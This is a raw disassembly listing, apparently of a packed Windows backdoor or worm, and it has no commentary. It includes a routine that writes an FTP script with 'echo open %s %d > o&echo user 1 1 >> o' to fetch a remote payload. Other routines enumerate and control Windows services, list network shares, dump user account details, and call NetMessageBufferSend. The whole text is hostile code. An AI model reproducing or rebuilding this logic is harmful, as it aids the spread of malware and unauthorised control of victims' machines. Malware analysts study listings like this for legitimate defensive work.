add esp, 18h
push esi
push esi
push eax
push dword ptr [ebp+8]
call sub_40A019
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp-1A0h]
push edi
push eax
call sub_41B910
add esp, 1Ch
lea eax, [ebp-1A0h]
push 0
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp-1A0h]
push eax
push dword ptr [ebp+0C4h]
call dword_4E08EC
cmp eax, 0FFFFFFFFh
jnz short loc_4164AC
loc_4164A8: ; CODE XREF: .nsp0:004163FBj
; .nsp0:00416411j
xor al, al
jmp short loc_4164D0
; ---------------------------------------------------------------------------
loc_4164AC: ; CODE XREF: .nsp0:004164A6j
push 0
lea eax, [ebp-5A0h]
push ebx
push eax
push dword ptr [ebp+0C4h]
call dword_4E08B8
push dword ptr [ebp+0C4h]
call dword_4E0934
mov al, 1
loc_4164D0: ; CODE XREF: .nsp0:004164AAj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4164D5 proc near ; CODE XREF: sub_401CC1+4DC3p
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4F1384 ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_41652B
cmp [ebp+var_8C], 0
jnz short loc_416514
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_41652B
leave
retn
; ---------------------------------------------------------------------------
loc_416514: ; CODE XREF: sub_4164D5+30j
cmp [ebp+var_8C], 0Ah
jz short loc_416526
cmp [ebp+var_8C], 5Ah
jnz short loc_41652B
loc_416526: ; CODE XREF: sub_4164D5+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_41652B: ; CODE XREF: sub_4164D5+27j
; sub_4164D5+3Bj ...
push esi
push edi
push offset aNetapi32_dll_0 ; "netapi32.dll"
call dword_4F1374 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebu_0 ; "NetMessageBufferSend"
push esi
call dword_4F1378 ; GetProcAddress
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41E750
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41E750
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41E750
lea eax, [ebp+var_F8]
push eax
call sub_41E720
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi ; GetTickCount
add esp, 3Ch
mov edi, eax
push esi
call dword_4F1418 ; FreeLibrary
mov eax, edi
pop edi
pop esi
leave
retn
sub_4164D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4165B5 proc near ; CODE XREF: sub_401317+F7p
; sub_40E1EC+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
pop ecx
call sub_41B850
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4374E0
call sub_41CEBC
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_4165B5 endp
; =============== S U B R O U T I N E =======================================
sub_4165F2 proc near ; CODE XREF: sub_401CC1+3D3Fp
; sub_401CC1+3DA0p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_416657
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_44F738[esi]
push edi
push eax
call sub_416679
add esp, 14h
test eax, eax
jnz short loc_41663A
push edi
push off_44F734[esi]
mov esi, offset dword_4EF5CC
push offset unk_44F7F8
push esi
call sub_41B740
add esp, 10h
jmp short loc_416674
; ---------------------------------------------------------------------------
loc_41663A: ; CODE XREF: sub_4165F2+2Aj
push eax
call sub_41671B
push eax
push edi
mov esi, offset dword_4EF5CC
push offset unk_44F814
push esi
call sub_41B740
add esp, 14h
jmp short loc_416674
; ---------------------------------------------------------------------------
loc_416657: ; CODE XREF: sub_4165F2+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4EF5CC
push off_44F730[eax*4]
push offset unk_44F840
push esi
call sub_41B740
add esp, 0Ch
loc_416674: ; CODE XREF: sub_4165F2+46j
; sub_4165F2+63j
mov eax, esi
pop edi
pop esi
retn
sub_4165F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416679 proc near ; CODE XREF: sub_4165F2+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4E0894
mov edi, eax
cmp edi, ebx
jnz short loc_4166A0
call dword_4F1348 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_416715
; ---------------------------------------------------------------------------
loc_4166A0: ; CODE XREF: sub_416679+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4E078C
mov esi, eax
cmp esi, ebx
jnz short loc_4166C0
call dword_4F1348 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_41670D
; ---------------------------------------------------------------------------
loc_4166C0: ; CODE XREF: sub_416679+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_4166F3
cmp eax, 3
jz short loc_4166E4
jle short loc_416706
cmp eax, 6
jg short loc_416706
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4E07F8
jmp short loc_4166FA
; ---------------------------------------------------------------------------
loc_4166E4: ; CODE XREF: sub_416679+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4E0794
jmp short loc_4166FA
; ---------------------------------------------------------------------------
loc_4166F3: ; CODE XREF: sub_416679+4Dj
push esi
call dword_4E07FC
loc_4166FA: ; CODE XREF: sub_416679+69j
; sub_416679+78j
test eax, eax
jnz short loc_416706
call dword_4F1348 ; RtlGetLastWin32Error
mov ebx, eax
loc_416706: ; CODE XREF: sub_416679+54j
; sub_416679+59j ...
push esi
call dword_4E07A8
loc_41670D: ; CODE XREF: sub_416679+45j
push edi
call dword_4E07A8
pop esi
loc_416715: ; CODE XREF: sub_416679+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_416679 endp
; =============== S U B R O U T I N E =======================================
sub_41671B proc near ; CODE XREF: sub_4165F2+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_4167D0
jz loc_4167C9
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_416793
jz short loc_416789
mov ecx, eax
sub ecx, 3
jz short loc_41677F
dec ecx
dec ecx
jz short loc_416775
dec ecx
jz short loc_41676B
sub ecx, 51h
jz short loc_416761
sub ecx, 24h
jnz loc_416846 ; default
; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_416838
; ---------------------------------------------------------------------------
loc_416761: ; CODE XREF: sub_41671B+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_416838
; ---------------------------------------------------------------------------
loc_41676B: ; CODE XREF: sub_41671B+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_416838
; ---------------------------------------------------------------------------
loc_416775: ; CODE XREF: sub_41671B+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_416838
; ---------------------------------------------------------------------------
loc_41677F: ; CODE XREF: sub_41671B+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_416838
; ---------------------------------------------------------------------------
loc_416789: ; CODE XREF: sub_41671B+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_416838
; ---------------------------------------------------------------------------
loc_416793: ; CODE XREF: sub_41671B+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_4167C2
dec ecx
jz short loc_4167BB
dec ecx
jz short loc_4167B4
dec ecx
jnz loc_416846 ; default
; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_416838
; ---------------------------------------------------------------------------
loc_4167B4: ; CODE XREF: sub_41671B+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_4167BB: ; CODE XREF: sub_41671B+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_4167C2: ; CODE XREF: sub_41671B+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_4167C9: ; CODE XREF: sub_41671B+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_4167D0: ; CODE XREF: sub_41671B+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_416846 ; default
; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16
jz short loc_416833
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_416846 ; default
; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_416887[ecx]
jmp off_41685F[ecx*4] ; switch jump
loc_4167F4: ; DATA XREF: .nsp0:off_41685Fo
push offset aTheSpecifiedDa ; jumptable 004167ED case 7
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_4167FB: ; CODE XREF: sub_41671B+D2j
; DATA XREF: .nsp0:off_41685Fo
push offset aTheServiceDepe ; jumptable 004167ED case 17
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_416802: ; CODE XREF: sub_41671B+D2j
; DATA XREF: .nsp0:off_41685Fo
push offset aTheServiceDe_0 ; jumptable 004167ED case 10
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_416809: ; CODE XREF: sub_41671B+D2j
; DATA XREF: .nsp0:off_41685Fo
push offset aTheServiceHasB ; jumptable 004167ED case 0
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_416810: ; CODE XREF: sub_41671B+D2j
; DATA XREF: .nsp0:off_41685Fo
push offset aTheSpecified_0 ; jumptable 004167ED case 2
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_416817: ; CODE XREF: sub_41671B+D2j
; DATA XREF: .nsp0:off_41685Fo
push offset aTheServiceCoul ; jumptable 004167ED case 11
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_41681E: ; CODE XREF: sub_41671B+D2j
; DATA XREF: .nsp0:off_41685Fo
push offset aTheServiceHa_0 ; jumptable 004167ED case 14
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_416825: ; CODE XREF: sub_41671B+D2j
; DATA XREF: .nsp0:off_41685Fo
push offset aTheRequested_1 ; jumptable 004167ED case 3
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_41682C: ; CODE XREF: sub_41671B+D2j
; DATA XREF: .nsp0:off_41685Fo
push offset aTheServiceHasN ; jumptable 004167ED case 4
jmp short loc_416838
; ---------------------------------------------------------------------------
loc_416833: ; CODE XREF: sub_41671B+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_416838: ; CODE XREF: sub_41671B+41j
; sub_41671B+4Bj ...
push offset dword_4EEF0C
call sub_41B740
pop ecx
pop ecx
jmp short loc_416859
; ---------------------------------------------------------------------------
loc_416846: ; CODE XREF: sub_41671B+36j
; sub_41671B+89j ...
push eax ; default
; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4EEF0C
call sub_41B740
add esp, 0Ch
loc_416859: ; CODE XREF: sub_41671B+129j
mov eax, offset dword_4EEF0C
retn
sub_41671B endp
; ---------------------------------------------------------------------------
off_41685F dd offset loc_416809 ; DATA XREF: sub_41671B+D2r
dd offset loc_416810 ; jump table for switch statement
dd offset loc_416825
dd offset loc_41682C
dd offset loc_4167F4
dd offset loc_416802
dd offset loc_416817
dd offset loc_41681E
dd offset loc_4167FB
dd offset loc_416846
byte_416887 db 0, 9, 1, 2 ; DATA XREF: sub_41671B+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416899 proc near ; CODE XREF: sub_401CC1+3D6Ap
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4E0894
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_4168D1: ; CODE XREF: sub_416899+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4E0864
test eax, eax
jnz short loc_41690B
call dword_4F1348 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_4169BF
loc_41690B: ; CODE XREF: sub_416899+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_4169B6
lea esi, [ebp+var_188]
loc_41691C: ; CODE XREF: sub_416899+117j
mov eax, [esi+8]
dec eax
jz short loc_416965
dec eax
jz short loc_41695E
dec eax
jz short loc_416957
dec eax
jz short loc_416950
dec eax
jz short loc_416949
dec eax
jz short loc_416942
dec eax
jz short loc_41693B
push offset aUnknown_2 ; " Unknown"
jmp short loc_41696A
; ---------------------------------------------------------------------------
loc_41693B: ; CODE XREF: sub_416899+99j
push offset aPaused_0 ; " Paused"
jmp short loc_41696A
; ---------------------------------------------------------------------------
loc_416942: ; CODE XREF: sub_416899+96j
push offset aPausing ; " Pausing"
jmp short loc_41696A
; ---------------------------------------------------------------------------
loc_416949: ; CODE XREF: sub_416899+93j
push offset aContinuing ; " Continuing"
jmp short loc_41696A
; ---------------------------------------------------------------------------
loc_416950: ; CODE XREF: sub_416899+90j
push offset aRunning_0 ; " Running"
jmp short loc_41696A
; ---------------------------------------------------------------------------
loc_416957: ; CODE XREF: sub_416899+8Dj
push offset aStoping ; " Stoping"
jmp short loc_41696A
; ---------------------------------------------------------------------------
loc_41695E: ; CODE XREF: sub_416899+8Aj
push offset aStarting ; " Starting"
jmp short loc_41696A
; ---------------------------------------------------------------------------
loc_416965: ; CODE XREF: sub_416899+87j
push offset aStopped ; " Stopped"
loc_41696A: ; CODE XREF: sub_416899+A0j
; sub_416899+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41B740
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_1 ; "%s: %s (%s)"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_41691C
loc_4169B6: ; CODE XREF: sub_416899+77j
cmp [ebp+var_8], ebx
jnz loc_4168D1
loc_4169BF: ; CODE XREF: sub_416899+6Cj
push [ebp+var_C]
call dword_4E07A8
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_416899 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4169D6 proc near ; CODE XREF: sub_401CC1+3E43p
; sub_401CC1+3E5Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_416A6F
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_4169FF
dec eax
jnz short loc_416A4F
push edi
push 0
call sub_416BA8
pop ecx
pop ecx
jmp short loc_416A4B
; ---------------------------------------------------------------------------
loc_4169FF: ; CODE XREF: sub_4169D6+18j
cmp [ebp+arg_8], 0
jnz short loc_416A3D
push 24h
push edi
call sub_41C400
pop ecx
test eax, eax
pop ecx
jnz short loc_416A3D
push 57h
pop eax
loc_416A16: ; CODE XREF: sub_4169D6+77j
push eax
call sub_417380
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4EF1C8
push off_44F730[eax*4]
push offset unk_44FDB8
push esi
call sub_41B740
add esp, 18h
jmp short loc_416A8F
; ---------------------------------------------------------------------------
loc_416A3D: ; CODE XREF: sub_4169D6+2Dj
; sub_4169D6+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_416AFC
add esp, 0Ch
loc_416A4B: ; CODE XREF: sub_4169D6+27j
test eax, eax
jnz short loc_416A16
loc_416A4F: ; CODE XREF: sub_4169D6+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4EF1C8
push off_44F734[eax*4]
push offset dword_44FD9C
push esi
call sub_41B740
add esp, 10h
jmp short loc_416A8F
; ---------------------------------------------------------------------------
loc_416A6F: ; CODE XREF: sub_4169D6+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4EF1C8
lea eax, [eax+eax*2]
push off_44F730[eax*4]
push offset unk_44FDE4
push esi
call sub_41B740
add esp, 0Ch
loc_416A8F: ; CODE XREF: sub_4169D6+65j
; sub_4169D6+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_4169D6 endp
; =============== S U B R O U T I N E =======================================
sub_416A95 proc near ; CODE XREF: sub_417DB1+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_416AA2
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_416AA2: ; CODE XREF: sub_416A95+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_4F141C
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_4EF3C8, 1
mov ebp, eax
jnz short loc_416ADF
or byte_4EF3C8, 1
lea eax, [ebp+1]
push eax
call sub_41D910
pop ecx
mov dword_4EF168, eax
loc_416ADF: ; CODE XREF: sub_416A95+32j
push esi
push esi
push ebp
push dword_4EF168
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_4EF168
pop edi
pop ebp
pop ebx
pop esi
retn
sub_416A95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416AFC proc near ; CODE XREF: sub_4169D6+6Dp
; sub_4180D5+184p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_416B67
push [ebp+arg_4]
mov edi, eax
call sub_416B67
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C400
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_416B67
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4E07A4
pop edi
leave
retn
sub_416AFC endp
; =============== S U B R O U T I N E =======================================
sub_416B67 proc near ; CODE XREF: sub_416AFC+Ap
; sub_416AFC+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_416B74
pop ebp
retn
; ---------------------------------------------------------------------------
loc_416B74: ; CODE XREF: sub_416B67+9j
push ebx
push esi
mov esi, dword_4F1420
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D910
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_416B67 endp
; =============== S U B R O U T I N E =======================================
sub_416BA8 proc near ; CODE XREF: sub_4169D6+20p
; sub_417DB1+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_416B67
push [esp+8+arg_4]
mov esi, eax
call sub_416B67
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4E0780
pop esi
retn
sub_416BA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416BCB proc near ; CODE XREF: sub_401CC1+3E87p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_416B67
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 18h
loc_416C04: ; CODE XREF: sub_416BCB+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4E07F4
mov ebx, eax
cmp ebx, esi
jz short loc_416C67
cmp ebx, 0EAh
jz short loc_416C67
push ebx
push ebx
call sub_417380
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_44FE60
push eax
call sub_41B740
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 24h
jmp short loc_416CD4
; ---------------------------------------------------------------------------
loc_416C67: ; CODE XREF: sub_416BCB+5Dj
; sub_416BCB+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_416CCB
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_416C75: ; CODE XREF: sub_416BCB+FCj
push dword ptr [esi+10h]
call dword_4E0798
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_416C8C
mov eax, offset aNo ; "No"
loc_416C8C: ; CODE XREF: sub_416BCB+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_416C75
xor esi, esi
loc_416CCB: ; CODE XREF: sub_416BCB+A2j
push [ebp+var_4]
call dword_4E092C
loc_416CD4: ; CODE XREF: sub_416BCB+9Aj
cmp ebx, 0EAh
jz loc_416C04
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_416BCB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CEC proc near ; CODE XREF: sub_401CC1+3EDBp
; sub_401CC1+3F02p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_416D90
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_416D2E
dec eax
jz short loc_416D23
dec eax
jnz short loc_416D49
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_416E32
add esp, 14h
jmp short loc_416D45
; ---------------------------------------------------------------------------
loc_416D23: ; CODE XREF: sub_416CEC+1Dj
push ebx
push edi
call sub_416E11
pop ecx
pop ecx
jmp short loc_416D45
; ---------------------------------------------------------------------------
loc_416D2E: ; CODE XREF: sub_416CEC+1Aj
cmp [ebp+arg_8], edi
jz short loc_416D42
push [ebp+arg_8]
push ebx
push edi
call sub_416DB7
add esp, 0Ch
jmp short loc_416D45
; ---------------------------------------------------------------------------
loc_416D42: ; CODE XREF: sub_416CEC+45j
push 57h
pop eax
loc_416D45: ; CODE XREF: sub_416CEC+35j
; sub_416CEC+40j ...
cmp eax, edi
jnz short loc_416D69
loc_416D49: ; CODE XREF: sub_416CEC+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4EF3CC
push off_44F734[eax*4]
push offset unk_44FE88
push esi
call sub_41B740
add esp, 10h
jmp short loc_416DB0
; ---------------------------------------------------------------------------
loc_416D69: ; CODE XREF: sub_416CEC+5Bj
push eax
call sub_417380
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4EF3CC
push off_44F730[eax*4]
push offset unk_44FEA8
push esi
call sub_41B740
add esp, 18h
jmp short loc_416DB0
; ---------------------------------------------------------------------------
loc_416D90: ; CODE XREF: sub_416CEC+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4EF3CC
lea eax, [eax+eax*2]
push off_44F730[eax*4]
push offset unk_44FED8
push esi
call sub_41B740
add esp, 0Ch
loc_416DB0: ; CODE XREF: sub_416CEC+7Bj
; sub_416CEC+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_416CEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DB7 proc near ; CODE XREF: sub_416CEC+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_416B67
push [ebp+arg_4]
mov edi, eax
call sub_416B67
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_416B67
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4E0788
pop edi
leave
retn
sub_416DB7 endp
; =============== S U B R O U T I N E =======================================
sub_416E11 proc near ; CODE XREF: sub_416CEC+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_416B67
push [esp+8+arg_4]
mov esi, eax
call sub_416B67
pop ecx
pop ecx
push eax
push esi
call dword_4E077C
pop esi
retn
sub_416E11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416E32 proc near ; CODE XREF: sub_416CEC+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_416B67
push [ebp+arg_4]
mov esi, eax
call sub_416B67
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4E08F4
test eax, eax
mov [ebp+arg_0], eax
jnz loc_4171BF
mov eax, [ebp+var_4]
test eax, eax
jz loc_4171FA
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41B740
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
